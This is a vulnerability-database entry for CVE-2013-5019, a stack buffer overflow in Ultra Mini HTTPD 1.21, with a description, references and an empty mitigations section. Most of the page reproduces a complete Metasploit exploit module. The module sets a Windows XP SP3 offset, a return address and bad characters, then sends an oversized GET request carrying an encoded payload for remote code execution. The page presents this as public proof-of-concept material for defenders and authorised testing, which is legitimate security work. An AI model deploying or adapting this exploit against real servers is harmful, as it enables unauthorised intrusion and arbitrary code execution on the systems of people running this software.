CVE-2013-5019
Description
Stack-based buffer overflow in Ultra Mini HTTPD 1.21 allows remote attackers to execute arbitrary code via a long resource name in an HTTP request.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Ultra Mini HTTPd - Remote Stack Buffer Overflow (Metasploit)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",
'Description' => %q{
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21
allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
request.
},
'License' => MSF_LICENSE,
'Author' =>
[
'superkojiman', #Discovery, PoC
'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
],
'References' =>
[
['OSVDB', '95164'],
['EDB','26739'],
['CVE','2013-5019'],
['BID','61130']
],
'Payload' =>
{
'Space' => 1623,
'StackAdjustment' => -3500,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
},
'DefaultOptions' =>
{
'ExitFunction' => "thread"
},
'Platform' => 'win',
'Targets' =>
[
[
'v1.21 - Windows XP SP3',
{
'Offset' => 5412,
'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 10 2013',
'DefaultTarget' => 0
))
end
def exploit
buf = rand_text(target['Offset'])
buf << [target.ret].pack("V*")
buf << payload.encoded
print_status("Sending buffer...")
send_request_cgi({
'method' => 'GET',
'uri' => "/#{buf}"
})
end
end
Ultra Mini HTTPd 1.21 - 'POST' Remote Stack Buffer Overflow (1)
Ultra Mini HTTPd 1.21 - 'POST' Remote Stack Buffer Overflow (2)
Ultra Mini HTTPd 1.21 - Remote Stack Buffer Overflow
Ultra MiniHTTPd 1.2 - 'GET' Remote Stack Buffer Overflow (PoC)
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| vector | ultra_mini_httpd | 1.21 | |
References
- http://osvdb.org/show/osvdb/95164
- http://www.exploit-db.com/exploits/26739
- http://www.exploit-db.com/exploits/31736
- http://www.exploit-db.com/exploits/31814
- http://www.securityfocus.com/bid/61130
- https://exchange.xforce.ibmcloud.com/vulnerabilities/85599
- https://www.exploit-db.com/exploits/44472/
- http://osvdb.org/show/osvdb/95164
- http://www.exploit-db.com/exploits/26739
- http://www.exploit-db.com/exploits/31736
- http://www.exploit-db.com/exploits/31814
- http://www.securityfocus.com/bid/61130
- https://exchange.xforce.ibmcloud.com/vulnerabilities/85599
- https://www.exploit-db.com/exploits/44472/
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.